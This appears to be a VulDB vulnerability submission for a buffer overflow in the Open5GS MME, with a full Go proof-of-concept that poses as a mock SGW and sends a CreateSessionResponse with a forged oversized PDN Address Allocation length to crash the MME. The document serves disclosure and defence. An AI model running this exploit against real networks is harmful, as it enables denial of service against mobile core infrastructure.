Submit #738336: Open5GS MME v2.7.6 Buffer Overflowinfo

TitleOpen5GS MME v2.7.6 Buffer Overflow
Description### Description The MME can be crashed by a malicious CreateSessionResponse (S11) from an attacker-controlled SGW (or any entity able to spoof SGW responses) where the PDN Address Allocation (PAA) IE has its Length field forged to an oversized value (e.g., paa-len=200). When the MME processes the response, it copies the PAA IE payload using the attacker-controlled length without proper bounds validation, resulting in memory corruption and a segmentation fault (SIGSEGV). This leads to a remote denial of service (DoS). ### Credit Ziyu Lin, Xiaofeng Wang, Wei Dong (Nanyang Technological University) ### CVSS3.1 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H ### Steps to reproduce 1. Start a new go project inside a new folder: `go mod init poc` 2. Create a `main.go` and paste the code below: ``` package main import ( "flag" "fmt" "log" "net" "time" "github.com/wmnsk/go-gtp/gtpv2" "github.com/wmnsk/go-gtp/gtpv2/ie" "github.com/wmnsk/go-gtp/gtpv2/message" ) var ( mmeIP = flag.String("mme", "", "MME IP address (S11 interface)") mmePort = flag.Int("mme-port", 2123, "MME S11 GTP-C port") sgwIP = flag.String("sgw", "10.44.44.4", "SGW IP address (local)") sgwPort = flag.Int("sgw-port", 2123, "SGW S11 GTP-C port (local)") pgwIP = flag.String("pgw", "10.44.44.4", "PGW IP address (for S5C F-TEID)") overSizeLen = flag.Int("paa-len", 200, "Oversized PAA length (normal max is 21 bytes)") sgwTEID = flag.Uint("sgw-teid", 0x22222222, "SGW S11 TEID for response") pgwTEID = flag.Uint("pgw-teid", 0xABCDEF00, "PGW S5C TEID for response") sgwS1uTEID = flag.Uint("sgw-s1u-teid", 0x33333333, "SGW S1-U TEID for bearer context") pgwS5uTEID = flag.Uint("pgw-s5u-teid", 0x44444444, "PGW S5-U TEID for bearer context") ) func main() { flag.Parse() if *mmeIP == "" { log.Fatal("Error: -mme parameter is required (MME S11 IP address)") } log.Printf("[*] Vuln-PA1-09 PoC: Buffer Overflow in PDN Address Allocation (MME S11)") log.Printf("[*] Target: MME at %s:%d", *mmeIP, *mmePort) log.Printf("[*] Mock SGW: %s:%d", *sgwIP, *sgwPort) log.Printf("[*] Oversized PAA length: %d bytes (normal max: 21 bytes)", *overSizeLen) log.Println("[*] Trigger an attach/TAU so MME sends CreateSessionRequest to SGW") runSGWMock() } func runSGWMock() { addr, err := net.ResolveUDPAddr("udp", fmt.Sprintf("%s:%d", *sgwIP, *sgwPort)) if err != nil { log.Fatalf("[SGW] Failed to resolve address: %v", err) } conn, err := net.ListenUDP("udp", addr) if err != nil { log.Fatalf("[SGW] Failed to listen: %v", err) } defer conn.Close() log.Printf("[SGW] Mock server listening on %s:%d", *sgwIP, *sgwPort) log.Println("[SGW] Waiting for CreateSessionRequest from MME...") buf := make([]byte, 4096) for { conn.SetReadDeadline(time.Now().Add(120 * time.Second)) n, remoteAddr, err := conn.ReadFromUDP(buf) if err != nil { if netErr, ok := err.(net.Error); ok && netErr.Timeout() { log.Println("[SGW] Timeout waiting for messages") continue } log.Printf("[SGW] Read error: %v", err) continue } if n < 12 { continue } msgType := buf[1] if msgType != 32 { // CreateSessionRequest continue } log.Printf("[SGW] Received CreateSessionRequest from MME (%d bytes)", n) msg, err := message.Parse(buf[:n]) if err != nil { log.Printf("[SGW] Failed to parse message: %v", err) continue } csReq, ok := msg.(*message.CreateSessionRequest) if !ok { log.Println("[SGW] Message is not CreateSessionRequest") continue } seqNum := csReq.Sequence() mmeS11TEID := extractMMETEID(csReq) if mmeS11TEID == 0 { log.Println("[SGW] Warning: Could not extract MME S11 TEID, using 0") } log.Println("[*] Crafting malicious CreateSessionResponse...") log.Printf(" TEID: 0x%08x", mmeS11TEID) log.Printf(" Sequence: 0x%06x", seqNum) csResp := buildMaliciousCreateSessionResponse(mmeS11TEID, seqNum) respBuf, err := csResp.Marshal() if err != nil { log.Printf("[SGW] Failed to marshal response: %v", err) continue } log.Println("[*] Vulnerability Trigger:") log.Println(" 1. MME receives CreateSessionResponse on S11 interface") log.Println(" 2. mme_s11_handle_create_session_response() checks PAA presence") log.Println(" 3. Executes: memcpy(&sess->paa, rsp->pdn_address_allocation.data, len)") log.Printf(" 4. No bounds check: len=%d > sizeof(sess->paa)=~21 bytes", *overSizeLen) log.Println(" 5. Buffer overflow corrupts adjacent memory") log.Println(" 6. Process crashes or exhibits undefined behavior") log.Printf("[*] Sending malicious CreateSessionResponse (%d bytes)...", len(respBuf)) respBuf = modifyPAALength(respBuf, *overSizeLen) _, err = conn.WriteToUDP(respBuf, remoteAddr) if err != nil { log.Printf("[SGW] Failed to send response: %v", err) } else { log.Printf("[+] Malicious CreateSessionResponse sent successfully") log.Println("[*] Expected behavior:") log.Println(" - Buffer overflow in sess->paa structure") log.Println(" - Memory corruption in adjacent fields") log.Println(" - Process crash or memory error") log.Println(" - Location: src/mme/mme-s11-handler.c:476-477") } log.Println("\n[*] PoC execution completed") log.Println("[*] Verify MME logs for crash or memory corruption") return } } func extractMMETEID(csReq *message.CreateSessionRequest) uint32 { if csReq == nil { return 0 } if fteid := csReq.SenderFTEIDC; fteid != nil { teid, err := fteid.TEID() if err == nil { return teid } } return 0 } func buildMaliciousCreateSessionResponse(teid, seqNum uint32) *message.CreateSessionResponse { return message.NewCreateSessionResponse( teid, seqNum, ie.NewCause(gtpv2.CauseRequestAccepted, 0, 0, 0, nil), ie.NewFullyQualifiedTEID(gtpv2.IFTypeS11S4SGWGTPC, uint32(*sgwTEID), *sgwIP, ""), ie.NewFullyQualifiedTEID(gtpv2.IFTypeS5S8PGWGTPC, uint32(*pgwTEID), *pgwIP, "").WithInstance(1), ie.NewPDNAddressAllocation("10.45.0.2"), ie.NewBearerContext( ie.NewCause(gtpv2.CauseRequestAccepted, 0, 0, 0, nil), ie.NewEPSBearerID(5), ie.NewFullyQualifiedTEID(gtpv2.IFTypeS1USGWGTPU, uint32(*sgwS1uTEID), *sgwIP, ""), ie.NewFullyQualifiedTEID(gtpv2.IFTypeS5S8PGWGTPU, uint32(*pgwS5uTEID), *pgwIP, "").WithInstance(1), ), ) } func modifyPAALength(buf []byte, newLen int) []byte { // GTPv2-C message structure: // - Header is 8 bytes without TEID, 12 bytes with TEID (T flag set) // - IEs follow after the header // // Each IE structure: // 0: Type (1 byte) // 1-2: Length (2 bytes, network order) // 3: Instance (1 byte) if Grouped IE, otherwise part of value // 4+: Value if len(buf) < 8 { log.Println("[!] Warning: GTPv2-C header too short") return buf } headerLen := 8 if buf[0]&0x08 != 0 { // T flag: TEID present headerLen = 12 } if len(buf) < headerLen { log.Printf("[!] Warning: buffer shorter than header length (%d)", headerLen) return buf } msgLen := int(buf[2])<<8 | int(buf[3]) payloadEnd := 4 + msgLen if payloadEnd > len(buf) { payloadEnd = len(buf) } if payloadEnd < headerLen { log.Printf("[!] Warning: invalid payload end (%d) < header length (%d)", payloadEnd, headerLen) return buf } // PDN Address Allocation IE type = 79 (0x4F) paaType := byte(79) // Find PAA IE in the buffer offset := headerLen for offset < payloadEnd-4 { ieType := buf[offset] ieLen := int(buf[offset+1])<<8 | int(buf[offset+2]) if offset+4+ieLen > payloadEnd { log.Printf("[!] Warning: IE length overruns payload (offset=%d len=%d end=%d)", offset, ieLen, payloadEnd) break } if ieType == paaType { log.Printf("[*] Found PAA IE at offset %d, original length: %d", offset, ieLen) // Calculate required buffer size oldIESize := 4 + ieLen // Type(1) + Length(2) + Instance(1) + Value newIESize := 4 + newLen sizeDiff := newIESize - oldIESize // Create new buffer with adjusted size newBuf := make([]byte, len(buf)+sizeDiff) // Copy everything before PAA IE copy(newBuf[:offset], buf[:offset]) // Write PAA IE header with new length newBuf[offset] = paaType newBuf[offset+1] = byte((newLen >> 8) & 0xFF) newBuf[offset+2] = byte(newLen & 0xFF) newBuf[offset+3] = buf[offset+3] // Instance // Copy original PAA value copy(newBuf[offset+4:offset+4+ieLen], buf[offset+4:offset+4+ieLen]) // Pad with additional data (pattern 0x41 = 'A') for i := ieLen; i < newLen; i++ { newBuf[offset+4+i] = 0x41 } // Copy rest of the message copy(newBuf[offset+newIESize:], buf[offset+oldIESize:]) // Update GTPv2-C message length field (bytes 2-3) oldMsgLen := int(buf[2])<<8 | int(buf[3]) newMsgLen := oldMsgLen + sizeDiff newBuf[2] = byte((newMsgLen >> 8) & 0xFF) newBuf[3] = byte(newMsgLen & 0xFF) log.Printf("[*] Modified PAA IE length: %d -> %d bytes", ieLen, newLen) log.Printf("[*] Message length adjusted: %d -> %d bytes", len(buf), len(newBuf)) return newBuf } // Move to next IE offset += 4 + ieLen } log.Println("[!] Warning: PAA IE not found in message, returning original buffer") return buf } ``` 3. Download required libraries: `go mod tidy` 4. Run the program with the SGW-C address: `go run main.go -mme 10.44.44.5 -sgw 10.44.44.2` 5. Run srsenb and srsue ### Logs ```shell 01/13 08:25:13.560: [mme] DEBUG: [001010123456780] Attach accept (../src/mme/nas-path.c:139) 01/13 08:25:13.560: [esm] DEBUG: Activate default bearer context request (../src/mme/esm-build.c:128) 01/13 08:25:13.560: [esm] DEBUG: IMSI[001010123456780] PTI[1] EBI[5] (../src/mme/esm-build.c:129) 01/13 08:25:13.560: [esm] DEBUG: APN[internet] (../src/mme/esm-bui
Source⚠️ https://github.com/open5gs/open5gs/issues/4283
User
 FrankyLin (UID 94345)
Submission01/14/2026 03:58 (3 months ago)
Moderation02/15/2026 09:38 (1 month later)
StatusAccepted
VulDB entry346110 [Open5GS up to 2.7.6 MME /src/mme/esm-build.c memory corruption]
Points20

Want to stay up to date on a daily basis?

Enable the mail alert feature now!